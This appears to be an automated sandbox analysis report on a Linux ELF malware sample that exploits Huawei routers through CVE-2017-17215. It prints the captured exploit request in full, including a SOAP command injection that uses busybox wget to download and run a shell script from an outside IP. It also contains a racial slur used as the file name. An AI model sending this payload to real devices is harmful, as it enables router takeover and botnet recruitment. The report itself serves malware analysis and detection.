ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 45.207.135.78

Timestamp:	02/19/24-18:35:49.918583
SID:	2829579
Source Port:	39406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 31.136.28.189

Timestamp:	02/19/24-18:35:54.528743
SID:	2835222
Source Port:	44266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 19 Feb 2024 20:32:35 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Source: d9PdCrDQ8X.elf

String found in binary or memory: http://41.216.183.27/bins/bins.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)
Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)/

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2033/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1612/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2028/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2025/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2146/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/517/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/759/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1623/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/761/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1622/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/884/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1983/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2038/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1344/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1465/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1586/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1860/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1463/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2156/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/801/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1629/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1627/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1900/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/491/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2050/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1877/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/772/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1633/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1599/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1632/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/774/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1477/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/654/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/896/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1476/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1872/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2048/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/655/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1475/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/656/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/936/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1639/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1638/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2180/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1809/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1494/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1890/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2063/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2062/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1888/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1886/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/420/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1489/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/785/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1642/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/788/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/667/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/789/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1648/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2078/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2077/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2074/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/670/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/793/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1656/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1654/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1532/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/796/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/675/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/797/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/676/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/677/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2069/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2102/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/799/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2080/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2084/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2083/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1668/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1664/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1389/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/720/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2114/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/721/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/1661/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/2079/maps	Jump to behavior
Source: /tmp/d9PdCrDQ8X.elf (PID: 6226)	File opened: /proc/847/maps	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58328
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33890 -> 37215
